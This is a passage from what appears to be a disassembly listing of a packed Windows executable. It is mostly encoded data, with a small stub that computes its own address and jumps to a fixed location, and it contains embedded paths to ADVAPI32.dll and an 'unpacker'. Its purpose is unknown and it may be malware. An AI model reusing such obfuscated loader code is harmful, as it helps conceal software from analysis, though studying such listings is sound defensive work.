0BF80819Fh, 0B46CFDC8h, 8F822A3h dd 0AD00ED7Ch, 48B63F4Eh, 15DAEC4h, 7A411033h, 50BA9F83h dd 8FAFB374h, 0F8CAA900h, 7C33197h, 0EC40A88Dh, 8325C4Ch dd 4EA4FE24h, 0BFD557C0h, 89038BD8h, 735F1522h, 521A89Ah dd 51CB0417h, 0B2461694h, 64571DB4h, 60DA2900h, 0E8066Ch dd 0D370F11h, 7903201Ah, 61922427h, 8AE015D4h, 3223019Bh dd 9F4BB257h, 7C6DFCh, 0C9F3BC84h, 2805A459h, 0B090BBE5h dd 79908220h, 38ED00A0h, 32E6F50Ch, 18162C09h, 0FD4C4AAh dd 65C08F2h, 8B10F960h, 0B90E6A99h, 0FF7F3F51h, 425B25C0h dd 7BCF1C2h, 8C238946h, 1D7E6343h, 80AD14F1h, 0B98ED920h dd 933846h, 4FBC357Fh, 0C33F08AAh, 0CE0403Bh, 8D4944Bh dd 0D898002Ch, 0AD71A0B3h, 0F07E3C9h, 0EDAE670Bh, 4CE61601h dd 76CD5C0h, 8EB38C49h, 963C434Ah, 3C9841D6h, 69B74E0Eh dd 369DC557h, 0CBB0C6C0h, 0D54D003Dh, 4EF3E6D6h, 53E576Ch dd 0D8D700B7h, 8FE96173h, 3DE86Bh, 58BFE7DEh, 60411EF6h dd 50C1ED30h, 0EB37B05h, 59BDB906h, 0F0A21760h, 4D22F647h dd 7AC10069h, 0B2393A6Bh, 19C0CF8Dh, 0F5FAE8D5h, 425A050Ch dd 1544F04h, 1D63BE18h, 1B51E829h, 0D82C4800h, 47D7C9EFh dd 90160C96h, 40C0DFC2h, 39565830h, 6E8B4h, 135792Bh, 79C66A1h dd 97AAE700h, 6150E1E9h, 81AF69EEh, 0DACE4100h, 4270471Bh dd 1F2A9278h, 1E1F940Bh, 88C65AB0h, 615E5Bh, 0B44B1066h dd 3E532CC1h, 0F0769A00h, 0CABC4E48h, 3A170116h, 3C5AFD47h dd 0F4498510h, 0AC206D4Dh, 0C1585340h, 0BE7638C8h, 8480EE17h dd 0C81EDDF2h, 751CB100h, 3A11FFE9h, 74C0A03Eh, 40876030h dd 0BB0DC069h, 2BD4000h, 0B5CA5F16h, 6E6B825h, 1FE76FBFh dd 720079F8h, 0C4DB808Eh, 7AB2BDh, 13BB7FAAh, 862916C9h dd 0C21DF200h dd 0AC9FD74Fh, 0D6BF3F9Eh, 0B4AAB13Eh, 0D0A63790h, 0F48880B9h dd 11C60E3Ah, 199831h, 3ED3F82Eh, 14D98A4Fh, 7BBFDC0Eh dd 19813FADh, 0CEEEACC0h, 0B05F5180h, 3C78CC20h, 0A6BF921Fh dd 28498998h, 58500041h, 4940AB9Dh, 0DA7C63ADh, 0D6C680A0h dd 60F3E13Eh, 0E6CFB749h, 3BF71B4h, 0A3D53C3Dh, 0C0788B53h dd 0C7A840F3h, 0C8016E21h, 0B74869Ch, 0A1F065D2h, 0A68439ECh dd 5800BCA2h, 60D36F87h, 48A9406Bh, 0A00C9B5Bh, 0E6487D39h dd 5A69C20Eh, 50AC3509h, 0E9004064h, 42FE6285h, 0A46E38F5h dd 353D24F0h, 16C600A8h, 0FF285A51h, 0B3EE39C6h, 0DCAC00C1h dd 60CE53E1h, 2A05C4FAh, 7D13168Bh, 7E91C600h, 33E9AEE2h dd 0F459584Fh, 0E4F325B9h, 0E40134C8h, 16FE9B39h, 42F21EABh dd 0D1DC0F02h, 6D8CD73Ah, 5D11CDEDh, 14895803h, 0FBF381FEh dd 0C0ECFA27h, 49B236C4h, 1E80C888h, 32C1907Eh, 2D7383Ch dd 48F71DE0h, 9290812Ah, 30E822DBh, 74A0A8B0h, 6D2D00FDh dd 7068D26Eh, 0E700DF35h, 7644D8E8h, 0E8BEF4A2h, 55D002B7h dd 7325A02h, 92DE88A0h, 0F4601EF5h, 0CDD95311h, 604F0730h dd 10141151h, 0DB46D6F5h, 824DC024h, 0EE7E8E05h, 7FBE6C00h dd 45FAABh, 27961DBh, 70A92D7Dh, 8F40ED1Dh, 90882600h dd 67245A64h, 0B5F46901h, 0ACAC545Ch, 74AEE4C3h, 9FA06498h dd 1C05637Eh, 0CFCB778Bh, 0C200E684h, 43E93976h, 88A60104h dd 1FC9738Fh, 2D59AC13h, 89A18A00h, 3F419CFh, 74152A6h dd 88A03A59h, 3030DFBBh, 0A70A71B1h, 0EE8C009Ah, 51F579A1h dd 0F00AB43h, 0AAA63F2Dh, 0C0A4EDE8h, 0CD3BA0E9h, 74007236h dd 98453AE9h, 9A0CB128h, 0E8881FE0h, 5AA6CEFCh, 50583923h dd 367EE103h, 0D04BD74Dh, 246BF42Eh, 0B0373Eh, 0F10DB3A1h dd 0B56387B2h, 1D535869h, 80AF3639h, 0B3929A12h, 3405FDD4h dd 5F267416h, 4698DA00h, 1643406Dh, 0E9243Dh, 387BD618h dd 42E591B2h, 0C2205A28h, 621B33h, 0BE2812C8h, 0C62E830Ch dd 8F550101h, 6AF2D6D4h, 75087832h, 9E8E9830h, 2AAD4134h dd 9AFC790Eh, 3EF50159h, 7870CAE5h, 815C62ECh, 10022FD6h dd 3D008432h, 79BE4B71h, 32CACDDh, 530F620Fh, 2BBBC0F4h dd 18CC8F9Bh, 4036B340h, 45E678D5h, 78CF052h, 7F136F84h dd 0EE623990h, 4519C0BBh, 11619729h, 8EDFB901h, 10AED0AAh dd 1D439420h, 0D82D4BD2h, 4C7589F5h, 0D15A6C00h, 0AE3EE1ABh dd 0FF930596h, 406FB523h, 48ED6814h, 9407508Ah, 0F6B0869Bh dd 56A21370h, 334E0121h, 0F4614F2Ch, 0B7898049h, 0E91EF1D6h dd 0AFD3264Bh, 0B4C90E40h, 0CA8AA681h, 909CDCDFh, 3DCC8100h dd 305AE03Fh, 1171D211h, 4C82A0ECh, 706026AEh, 0C418C18Dh dd 4A69B0EDh, 0DCFA0008h, 3FF7352h, 9C03779Fh, 705CE8B8h dd 0E1CFA06Eh, 0B0B1EDh, 7EEE357Bh, 0AC7FBED7h, 5655A67Eh dd 79F402ECh, 58345840h, 0B5E440A0h, 0B9C23C09h, 600C906Ah dd 34A2002Eh, 41A48E47h, 0E23D463Dh, 4B230673h, 0F290F10h dd 0AABE59F3h, 0D62FDB60h, 0D0C0F08Fh, 40F22934h, 0B5470951h dd 0B002DDCEh, 610EF0Eh, 46A80030h, 0F44F5462h, 9419868Ch dd 0EF402760h, 1280FCCh, 0B42F035h, 814F58C0h, 0A87B12B1h dd 56FC7A9Ah, 63F206E0h, 216B37F4h, 0A90A70B0h, 0B46F098Fh dd 36020C22h, 2B581560h, 0DDB090EEh, 7F4B74C4h, 7FB70070h dd 0A042DFCEh, 9C001E6Bh, 0F9D662B1h, 3B33406Ah, 182E5A76h dd 0C7800218h, 0BC44EE7Ah, 1B791D00h, 94222D6Eh, 122075B9h dd 4E98D2h, 0F1ED5D57h, 0D777BC08h, 0FD0967E0h, 8449301Eh dd 5940BE50h, 9D16ECC0h, 3182700h, 30B25054h, 121CE85h dd 4B80994Eh, 0C8A51C41h, 1D8F3600h, 0A22DED8Dh, 0F0B45D5Dh dd 5AEE9C07h, 381159D6h, 3023E24Ch, 8D5100BDh, 94F9F65Bh dd 733B6FACh, 0CFD7807Ah, 0C98C9034h, 7DE0B082h, 0BF2051A0h dd 0D2644180h, 0CBB2C07Bh, 52356F00h, 8CA654B9h, 0FDF11F5Ah dd 0E0C34142h, 4066A37Dh, 5885E6FCh, 0B4E9BE02h, 0E6D75AAFh dd 844249D4h, 25B44583h, 0C6599198h, 0E2D84F02h, 0E0BADC01h dd 880C28F0h, 540A1965h, 0C8E0BF58h, 4C0B7597h, 78348A50h dd 0C42FCBC2h, 0F0C30038h, 0E74F2B9Ah, 7A00FF18h, 0AD551342h dd 1363C0C1h, 95CDD3Eh, 0E800E0F0h, 397F64EDh, 0B00C7818h dd 2E75E3A0h, 488847h, 611DE992h, 8E10B212h, 0C80A69C3h dd 1543E59h, 327F6E86h, 0BC40E6D1h, 3130F249h, 7802918Ah dd 5E400F16h, 3FE67F89h, 0C04C3906h, 0F0521727h, 0EEF66020h dd 0D8160030h, 0B2073DC7h, 6C710D45h, 0EACC7901h, 6DF0CA6Bh dd 5630A0D6h, 1C9A952h, 611C5E5Dh, 624F6660h, 0D46F0054h dd 0E1931415h, 6BE60036h, 0C9D7C10Fh, 3496EE1Bh, 2A8D80BDh dd 95F84EAEh, 354D0183h, 0A3D56662h, 0CB4C7002h, 6FCD7418h dd 39D93B08h, 1980AF9Fh, 0D0440FBDh, 5F500390h, 0C08BA8CCh dd 0CA7887h, 0C9E56876h, 0C8561C0Eh, 23F04725h, 0B08F205Ch dd 0CD690F3h, 594FBDD1h, 4EE854B9h, 3CE73600h, 97EF8C5h dd 9F1B0725h, 527C632Ch, 0A4AE0D1Fh, 0F96283A0h, 24141944h dd 12ECBF6Dh, 60C8B5EFh, 0DEAE03F2h, 7037F7C2h, 0C30BFBE0h dd 36A3F100h, 280E45A2h, 0CE610DEDh, 0E4406E4Ch, 0C200DC90h dd 795B869Ch, 33C8BE64h, 0CDE1B22Fh, 0BFC967F0h, 0C1A9BA00h dd 74C55E2Ch, 9622001Eh, 8DF68A3h, 7C9610F7h, 72C1B080h dd 44586353h, 0C9050151h, 0B25A4B92h, 0BF31BC81h, 28161BAh dd 82FF6284h, 0E1DE20BBh, 0B3D5A619h, 80481021h, 0F48E0796h dd 39768F4Bh, 56CA5800h, 0D21B44B2h, 0C031BB2Fh, 81C35Ah dd 99352D26h, 3674E5AEh, 0CA039307h, 0DF00078Fh, 2F27C3h dd 65B7383Ah, 0A611E8CBh, 0A430E018h, 0E5CF49h, 0F1C99098h dd 2845A332h, 0FB8C5401h, 0DD9E3765h, 6BED0460h, 8C073155h dd 0E9D7D13Ah, 0F20C31D8h, 8A593810h, 0B8009046h, 8EFBC5A8h dd 48706198h, 0B0716A54h, 0F6A009Ch, 9437DD49h, 24B9EE99h dd 0B4CBF3Ah, 81F5D47Bh, 3C59CB79h, 0B51C2C2Dh, 201F56BFh dd 4D340F7Ch, 19024CB8h, 533D8A71h, 38FC8439h, 0D54E0CC0h dd 0F56FC9Fh, 6745F11Ch, 3C84B26Fh, 3640C0E0h, 8F129988h dd 0F81EDB10h, 2D26D82Eh, 0F80A293Fh, 0D567D81h, 0D8300FF0h dd 48AA0036h, 6B2CF2A3h, 433FE96Ch, 8CB22449h, 8D55A05h dd 0AE1E8C21h, 383290F1h, 315A5C04h, 76DE4007h, 0F0F7220Ah dd 3F7B14AAh, 4007B40Ch, 0C4B4C67Fh, 6A4C2FEh, 124F421h dd 8886B448h, 0C1015E4Dh, 0EB47B1BBh, 0C520ACB0h, 94070764h dd 0C10292FFh, 0EAC478D0h, 0D0B1B450h, 4E6E6780h, 3B48293Dh dd 0CE9D6DA6h, 463782ABh, 0E4EE9Dh, 0A60F2E02h, 402B2210h dd 18A98EAh, 0CB915CB9h, 30C06A4Fh, 1D01E6B8h, 22AD4E9Dh dd 3AF0F4E3h, 93B211A8h, 1EF900C2h, 6487BF60h, 7F6B09B7h dd 38E4B4C0h, 11F9F100h, 0BB83B06Ch, 0C9E01E96h, 3800626Ah dd 723BE807h, 0F5CDB0h, 85F81E1Fh, 0B7BFD390h, 31578F13h dd 0AAE05C90h, 0B0A6FE52h, 0F8D63A8Ch, 0D43CEA14h, 80617818h dd 17009B40h, 9CC7BFF7h, 0A8711Eh, 0FD7F4128h, 0FBEE06Fh dd 0FF7B6EE0h, 3E720B00h, 35F043E8h, 0B9F20097h, 0CBBB8FC0h dd 2900A6DBh, 7D24CAE7h, 0FD9CC54h, 4A5FC256h, 555EB080h dd 0C97AE4EBh, 69E2071Fh, 72145403h, 0C377A098h, 68FE58C5h dd 6DF95500h, 7F43EBAFh dd 0F1253E00h, 5B94D9A4h, 8F541DE5h, 0B7B30190h, 984C04A6h dd 0FC387F90h, 611B0153h, 0AE36BEA5h, 0E84080ABh, 182CEE10h dd 9DAD000Bh, 3E753EFh, 3718840Eh, 7B69D9C6h, 256700BBh dd 2E6D71D0h, 84001EAAh, 257A8A0h, 0C076C9B4h, 7053B878h dd 39D8EDBEh, 63AFE0h, 0E8FFE121h, 0DFB9AF2h, 5E2EC3F8h dd 8263275h, 68A26F03h, 0DB1002Eh, 0FC633F94h, 0B0002CD6h dd 427DC6BDh, 77084D04h, 61D2606Dh, 0DE0A958Dh, 769CA800h dd 65CAA80h, 0C39D2ACEh, 0E0750FCCh, 0F1386C2Fh, 1500673Ch dd 5CEB1FDEh, 0C56320h, 5E2AB6B3h, 9B26B5C9h, 88486003h dd 0E7D84B97h, 0A3D8ECh, 0F7AEC9DFh, 0C3454987h, 2DEB6601h dd 47698092h, 3F62C6E0h, 8C00AAE9h, 1D6B3C16h, 8A313744h dd 0A3C2F05Eh, 2329CC0h, 6DFC4E61h, 9490ECCBh, 2B097554h dd 218BC3D9h, 0EABC6E24h, 1D1421BEh, 97060C80h, 1173040Eh dd 1B35A10Fh, 3A8B8025h, 16307B8h, 620F3779h, 301D1CECh dd 3218A333h, 56083E41h, 88A854B0h, 0FC820257h, 0B3E645D8h dd 0AD6EE481h, 0B0798C70h, 0A129AAh, 0EE2199C1h, 0BA4E849Ch dd 0AFE6110Ch, 0F6AD2191h, 0D6A50038h, 29BD74CDh, 7207476Eh dd 0FFE731Fh, 0D95FEBC0h, 90C6024Eh, 4106A6A3h, 538CF8A0h dd 0CF06FFFDh, 3A68BCF5h, 999C0019h, 39C34229h, 621C61F4h dd 97036A60h, 0E88AA52Ah, 1885D151h, 0C014212Fh, 0C37A615h dd 54C34132h, 1AA17C42h, 0FCD9D7BEh, 6DD28881h, 0E911E7ADh dd 0A000A7AFh, 0F2DCCEEEh, 68792EB6h, 59F07C18h, 14EFFEA0h dd 0CCCA6F4Dh, 0B7F56780h, 99188DF6h, 0D5794868h, 0D7F1004Dh dd 0B34C9598h, 2A3A13F6h, 89770452h, 88084FBh, 0F8C63B6h dd 0AFA696FDh, 80A9B504h, 675C5098h, 0E03A830Ah, 0B316B3F7h dd 0F888370Ah, 58992480h, 2ED36A91h, 435D1A6h, 809B4D9Ah dd 0BA9822B4h, 0DBFF6103h, 2E9E4F2Fh, 0CF6DD9h, 74E226CDh dd 3648EF68h, 61110680h, 0A7D1D5D1h, 295C80B8h, 0AF6E6035h dd 3A0891h, 305493C3h, 1F871D8Ch, 40B3259Ch, 0A8EF34Eh dd 9EE0FEC4h, 0FF008870h, 0F40138A3h, 260B35Eh, 5B2948D4h dd 5081AF69h, 0C13A35DAh, 56A02A22h, 6719C08Ch, 0C11BD464h dd 0ECF6D200h, 15462760h, 58C61F17h, 0FFE6408Fh, 0EDFAD5Ah dd 9AA3C501h, 7653BA68h, 0A5CCCC20h, 0F6FFFF01h, 0C0h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_583DBA: ; CODE XREF: start:loc_515265j ; DATA XREF: start:loc_515086o jmp loc_587353 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 94h dd 7C90EBh, 6 dup(0) dd 0DF029600h, 0A9C530h, 2 dup(0) dd 0E8000000h, 529AB2h, 0 dd 77000000h, 237C801Dh, 5C00h, 0 dd 0A6000000h, 99C7Dh, 5B000000h, 76B44Eh, 9 dup(0) dd 1E000000h, 5D3Dh, 0 dd 14000000h, 1D001150h, 0F6h, 3 dup(0) dd 47000000h, 947C809Bh, 0AD7C90EBh, 947E41A8h, 7C90EBh dd 94000000h, 7C90EBh, 0 dd 0E6000000h, 0F2005C14h, 7C814Ah, 7 dup(0) dd 4F000000h, 0F7F547h, 0E6000000h, 0FFA19Fh, 6 dup(0) dd 0A800h, 7 dup(0) dd 47000000h, 0E97C809Bh, 1C8h, 0E4000000h, 0B38Eh, 3 dup(0) dd 0CE000000h, 0 dd 43000000h, 5C5Fh, 4 dup(0) dd 0E0000000h, 500012FFh, 3AB056h, 0 dd 0FA000000h, 45D5C7h, 0 dd 0DF000000h, 0A9C530h, 37000000h, 0E4A3D6h, 6 dup(0) dd 1000000h, 0Dh dup(0) dd 0B3000000h, 15h, 8 dup(0) align 8 dd 76F217h, 0Eh dup(0) dd 3000000h, 0FAh, 0 dd 92000000h, 5B6Dh, 8 dup(0) dd 0FD000000h, 0FF4C05h, 0FE000000h, 5B17h, 0 dd 0AC000000h, 5CECh, 0 dd 4B000000h, 5C37h, 2 dup(0) dd 74000000h, 3F865559h, 6C7EFFh, 8000000h, 0B3B5h, 88000000h dd 0F9A6A90Ah, 7C90DDh, 94000000h, 7C90EBh, 5 dup(0) dd 94000000h, 337C90EBh, 2 dup(33333333h), 65333333h, 200000B9h dd 796124h, 2 dup(0) dd 6000000h, 4 dup(0) dd 0B0000000h, 254FFh, 2 dup(0) dd 0A5000000h, 43097D8Eh, 5F6D5C3Ah, 61706E75h, 72656B63h dd 83h dup(0) dd 2B0h, 65h dup(0) dd 94000000h, 7C90EBh, 43000000h, 56h, 7 dup(0) dd 0E9000000h, 9Dh, 4 dup(0) dd 94000000h, 7C90EBh, 3000000h, 0B3FAh, 1D000000h, 71FFA797h dd 76DB5Fh, 0Ah dup(0) dd 5B000000h, 79BF32h, 5 dup(0) dd 48000000h, 5E66h, 2 dup(0) dd 0FC000000h, 386CBBh, 2 dup(0) dd 9E000000h, 5D0610h, 5 dup(0) dd 0E7000000h, 0E7E4165Ah, 0AD0002C7h, 82FF6Fh, 0 dd 20000000h, 5E4Ch, 0 dd 88000000h, 0B0005BA7h, 1A4FFh, 9 dup(0) dd 4A000000h, 4D5864h, 5 dup(0) dd 0B7000000h, 5FDDh, 0 dd 0FE000000h, 0BB0Ah, 89000000h, 70FFA3DCh, 7, 3 dup(0) dd 30000000h, 0E8005843h, 529AB2h, 7 dup(0) dd 94000000h, 7C90EBh, 3 dup(0) dd 7000000h, 0DE99EEh, 0 dd 38000000h, 26h, 2 dup(0) dd 20000000h, 0B38Dh, 3 dup(0) dd 92000000h, 0FFFEF4h, 4 dup(0) dd 4000000h, 6 dup(0) dd 31000000h, 6100h, 2 dup(0) dd 0FD000000h, 0FF4C05h, 0EE027000h, 5DA6h, 56000000h dd 3D47AA11h, 52703808h, 179h, 0Bh dup(0) dd 0E6000000h, 5C14h, 0 dd 68000000h, 7A6ADCh, 2 dup(0) dd 0FE000000h, 0BB0Ah, 4 dup(0) dd 0E8000000h, 1529AB2h, 0C0000000h, 5DC8h, 0 dd 0D4000000h, 94005CC9h, 7C90EBh, 0FF000000h, 0FFFFFFh dd 1Ah dup(0) dd 0E8000000h, 529AB2h, 0Fh dup(0) dd 92000000h, 5B6Dh, 3 dup(0) dd 76000000h, 5878h, 6 dup(0) dd 27000000h, 0A9h, 4 dup(0) dd 3B000000h, 94005CF9h, 7C90EBh, 0 dd 0AD000000h, 7E41A8h, 3 dup(0) dd 2C000000h, 25500h, 0A7000000h, 5C58h, 0 dd 0A2000000h, 587Ch, 34000000h, 600Bh, 2 dup(0) dd 0B300h, 2 dup(0) dd 0B1000000h, 0D8h, 9 dup(0) dd 71000000h, 76DB5Fh, 2 dup(0) dd 0CF000000h, 0C17C80B4h, 7C80ABh, 4 dup(0) dd 18000000h, 0B329h, 0 dd 6C000000h, 836F14h, 6 dup(0) dd 48000000h, 5EBDh, 65000000h, 7CED5Ch, 5 dup(0) dd 0E000000h, 5DB3h, 0A000000h, 60ECh, 0 dd 3D000000h, 27703808h, 0FFA162h, 1B000000h, 5846h, 0B0000000h dd 1C4FFh, 4 dup(0) dd 0E8000000h, 529AB2h, 0 dd 7000000h, 5BA5h, 4 dup(0) dd 0D4000000h, 42F3E8A3h, 0B318h, 0 dd 5000000h, 89h, 0DE000000h, 47C80ABh, 5F68h, 0 dd 0EE1114h, 44000000h, 0C246DAh, 2 dup(0) dd 0BA000000h, 5F81h, 0C4000000h, 12FFh, 4 dup(0) dd 5C00h, 3D000000h, 4774B45Fh, 447C809Bh, 900000DAh, 24h dd 8 dup(0) dd 23000000h, 5800h, 5 dup(0) dd 37000000h, 445D2Bh, 40002330h, 13A0E4h, 2Bh dup(0) dd 0E9000000h, 20Eh, 6 dup(0) dd 10000000h, 9476F215h, 7C90EBh, 2 dup(0) dd 0C2000000h, 5513h, 0A8000000h, 0FD1B96h, 4 dup(0) dd 0B6000000h, 5B1Dh, 6 dup(0) dd 0F0000000h, 0FFFFD8h, 2 dup(0) dd 88000000h, 5 dup(0) dd 1A000000h, 0FFA3EBh, 10h dup(0) dd 0E000000h, 5FDCh, 94000000h, 7C90EBh, 4 dup(0) dd 70000000h, 3, 1C000000h, 26h, 0Bh dup(0) dd 0D9000000h, 5B1Ah, 2 dup(0) dd 0FE000000h, 3A00BB0Ah, 2982D2h, 0B7000000h, 0A076F5h dd 2 dup(0) dd 27000000h, 0A9h, 36000000h, 94000080h, 0CC000000h, 0B33Eh dd 94000000h, 5B00003Dh, 76F36Ch, 4 dup(0) dd 67000000h, 0E80917h, 0B0000000h, 97AB668h, 0F17C812Ah dd 0FFA3E7h, 0 dd 0E6000000h, 5C14h, 8C000000h, 0E60D137Eh, 30005C14h dd 5CBAh, 2 dup(0) dd 0DC000000h, 0EB742Bh, 0E6000000h, 0E9005C14h, 2D19EFh dd 94000000h, 7C90EBh, 0E6000000h, 95005C14h, 9AF4C1h dd 19000000h, 6 dup(0) dd 0F7000000h, 92005854h, 5B6Dh, 7 dup(0) dd 0EB000000h, 19h, 2 dup(0) dd 54000000h, 696D6568h, 6164h, 1Dh dup(0) dd 27000000h, 7C90E0h, 2 dup(0) dd 14000000h, 1C089h, 9 dup(0) dd 6B000000h, 6BD3CAh, 2Ah dup(0) dd 43000000h, 43A65Fh, 3 dup(0) dd 3000000h, 80000FAh, 14h, 0A3000000h, 0FFFFE4h, 0FF000000h dd 0B388h, 91000000h, 0FF59C8D8h, 0C8D87h, 0 dd 57000000h, 7C8049h, 3 dup(0) dd 27000000h, 0A9h, 0FB000000h, 0F577ED4Bh, 395B6Eh, 2 dup(0) dd 11000000h, 111111h, 0Ah dup(0) dd 0B7000000h, 5FB1h, 0 dd 50000000h, 0FD9200h, 4000h, 4 dup(0) dd 7C000000h, 18B954h, 0Ah dup(0) dd 0E6000000h, 94005C14h, 7C90EBh, 7C000000h, 5E50h, 3 dup(0) dd 92000000h, 7CFFEA02h, 18000000h, 0FEF337h, 0Dh dup(0) dd 0C0000000h, 5BF1h, 2 dup(0) dd 8B000000h, 0DE85B1h, 84000000h, 0 dd 0E9000000h, 20Eh, 0Ah dup(0) dd 0C0000000h, 5BF1h, 2 dup(0) dd 64000000h, 5C8Dh, 4 dup(0) dd 54027100h, 0F80012FFh, 5C14h, 0 dd 37000000h, 445D2Bh, 32000000h, 0B68Bh, 0DE000000h, 37006176h dd 0AF00B3FAh, 7D0690h, 0ED000000h, 5C61h, 0D9000000h dd 5B1Ah, 3 dup(0) dd 0E8000000h, 0B26Eh, 2 dup(0) dd 0DA000000h, 0F17C81CDh, 5FFDh, 8 dup(0) dd 26000000h, 0FF473Ch, 3 dup(0) dd 3000000h, 4300B3FAh, 49575C3Ah, 574F444Eh, 79735C53h dd 6D657473h, 415C3233h, 50415644h, 2E323349h, 6C6C64h dd 3Ch dup(0) dd 43000000h, 5Fh, 3 dup(0) dd 0EE000000h, 5DF5h, 2 dup(0) dd 0D4000000h, 25E6Dh, 90000000h, 5DE1h, 2 dup(0) dd 18000000h, 0AD654Dh, 6 dup(0) dd 33000000h, 194AB3h, 0CA000000h, 0D6254Fh, 8 dup(0) dd 0E3000000h, 51EF91h, 4 dup(0) dd 0B300h, 86000000h, 114348h, 44000000h, 0DD515Ch, 0 dd 0A6000000h, 5DF4h, 0B0000000h, 174FFh, 6 dup(0) dd 47000000h, 0EC7C809Bh, 0B337h, 0Bh dup(0) dd 0A0000000h, 3 dup(0) dd 18000000h, 1005CEAh, 0 dd 23000000h, 5C00h, 4 dup(0) dd 0D4000000h, 0FFFF0Eh, 2 dup(0) dd 19000000h, 80h, 0E5000000h, 5900B931h, 27005E74h, 0A9h dd 0 dd 0B000000h, 0DA025E6Eh, 7C8111h, 4 dup(0) dd 0A000000h, 60ECh, 2 dup(0) dd 0F7000000h, 84116554h, 93005DF6h, 34F6B1h, 0BD000000h dd 41BC59A0h, 3410Bh, 4 dup(0) dd 7E4100h, 9 dup(0) dd 0C8000000h, 12FEh, 25500h, 5 dup(0) dd 92000000h, 5B6Dh, 0 dd 8C000000h, 0 dd 0BF000000h, 0FF43E6h, 23000000h, 5800h, 0FE000000h dd 100BB0Ah, 2 dup(0) dd 9C000000h, 54000000h, 0B80012FFh, 0 ; --------------------------------------------------------------------------- or eax, eax jz short loc_585503 retn 18h ; --------------------------------------------------------------------------- loc_585503: ; CODE XREF: sdfs____:005854FEj mov eax, [esp+0Ch] push ebx call $+5 pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0B3FA37h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 4 dd 12h dup(0) dd 4000000h, 0D5EABFh, 2 dup(0) dd 0FE000000h, 0BB0Ah, 3 dup(0) dd 60000000h, 5BA7h, 0 dd 0BC000000h, 71EDD9h, 0B6000000h, 0FB2A79Bh, 0B318h dd 2 dup(0) dd 0E0000000h, 12FFh, 0 dd 5C000000h, 94FFED00h, 797C90EBh, 35956F5h, 5CFAh, 0 dd 0F0000000h, 0B319h, 0F8000000h, 4 dup(0) dd 87000000h, 5853h, 0 dd 0A2000000h, 0ECE4E2A8h, 2, 8 dup(0) dd 36000000h, 363636h, 9 dup(0) dd 0B0000000h, 164FFh, 0 dd 0AC000000h, 94000000h, 7C90EBh, 0FC000000h, 0ABF9h dd 4 dup(0) dd 4F0h, 43000000h, 43A65Fh, 6 dup(0) dd 6C000000h, 38836F14h, 0B5A7C4h, 0 dd 0B3000000h, 53D1D5h, 0D9000000h, 0FFFF56h, 3 dup(0) dd 0D9000000h, 5E9Dh, 0 dd 4000h, 5 dup(0) dd 2000000h, 0AA000000h, 350285h, 3 dup(0) dd 0A1000000h, 0B3AEh, 94000000h, 0EBh, 8A7C9000h, 7C2FFFh dd 0Ah dup(0) dd 0F0000000h, 0A4025E6Eh, 12FFh, 3 dup(0) dd 5C000000h, 3Ch, 2 dup(0) dd 78000000h, 0B891h, 0 dd 0DE000000h, 6176h, 2 dup(0) dd 0F8000000h, 5DE3h, 5 dup(0) dd 90000000h, 5D8737h, 20000000h, 0FFFFD2h, 0Fh dup(0) dd 20000000h, 0B319h, 6 dup(0) dd 2F000000h, 5843h, 2 dup(0) dd 26F00h, 98000000h, 4 dup(0) dd 44000000h, 68h, 2 dup(0) dd 47000000h, 0D7E27A2h, 7A00B68Bh, 77F1E21Ah, 5C23h, 6 dup(0) dd 0E6000000h, 0F7005C14h, 116554h, 0DB000000h, 33005CD1h dd 194AB3h, 4 dup(0) dd 51000000h, 0B38Eh, 0F2000000h, 0A42F82h, 2 dup(0) dd 0FE000000h, 53CF7Eh, 0Dh dup(0) dd 94000000h, 5E7C90EBh, 0DC005E63h, 5FF2h, 0 dd 1000000h, 0 dd 2F000000h, 5CBAh, 0E000000h, 7C8018h, 2 dup(0) dd 0AC000000h, 52FFED00h, 61747365h, 70417472h, 78652E70h dd 65h, 2 dup(0) dd 0BE000000h, 5C35h, 27004010h, 0FFA19Bh, 0FE000000h dd 3753CF7Eh, 77DDEEh, 5 dup(0) dd 18000000h, 7C90EEh, 2 dup(0) dd 0E0000000h, 1FFFFA2h, 0 dd 0C5000000h, 7CD08Ah, 3 dup(0) dd 0E9000000h, 24000180h, 0B30Eh, 0 dd 78000000h, 0B628h, 2 dup(0) dd 38000000h, 5D4Dh, 2 dup(0) dd 84000000h, 7673B732h, 0E4005878h, 5864h, 3 dup(0) dd 0A9000000h, 0D5F8CDBDh, 337h, 5 dup(0) dd 2D000000h, 6106h, 4 dup(0) dd 0E6000000h, 1005C14h, 5 dup(0) dd 0DF000000h, 0A9C530h, 0 dd 0EC000000h, 7635A2h, 0 dd 94000000h, 0A17C90EBh, 4B346Fh, 0 dd 27000000h, 0A9h, 2 dup(0) dd 2000000h, 514B37F0h, 5D18h, 6 dup(0) dd 44000000h, 29C246DAh, 43000000h, 5Fh, 2 dup(0) dd 75000000h, 49h, 5D000000h, 0B413DFD4h, 0Fh, 0Fh dup(0) dd 0B000000h, 25E6Eh, 0 dd 0AD000000h, 0B5FCh, 3 dup(0) dd 83000000h, 177DD78h, 7C8000h, 2 dup(0) dd 68000000h, 46DCF26Eh, 5CDBh, 0 dd 94000000h, 7C90EBh, 8 dup(0) dd 51000000h, 0DF37CA5Dh, 30h, 4 dup(0) dd 0FE000000h, 0BB0Ah, 1000000h, 0 dd 7C000000h, 0 dd 0E4000000h, 0FF4E8Dh, 0F1000000h, 5FFDh, 0Dh dup(0) dd 14000000h, 8Ch, 0 dd 0D9000000h, 1A59C3h, 11h dup(0) dd 78000000h, 55A131Ch, 7 dup(0) dd 0FF000000h, 0FFFFFFh, 0 dd 0F000000h, 0B318h, 0 dd 0C300h, 7 dup(0) dd 6C000000h, 836F14h, 2 dup(0) dd 0DD000000h, 5F48h, 0 dd 0B7000000h, 0F005FDDh, 0B93Fh, 0Ah dup(0) dd 80000000h, 2 dup(0) dd 24000000h, 7C801Ah, 0Ch dup(0) dd 0E1000000h, 0F7A24188h, 0BC00B61Ch, 0 dd 33000000h, 5E66h, 0Ah dup(0) dd 1000000h, 0 dd 25000000h, 0B300B30Ah, 5DA3h, 2 dup(0) dd 68000000h, 2 dup(0) dd 30h, 2 dup(0) dd 96000000h, 5DA4h, 0B9000000h, 7F837F64h, 197609h, 94000000h dd 7C90EBh, 2 dup(0) dd 94000000h, 7C90EBh, 0 dd 0FE000000h, 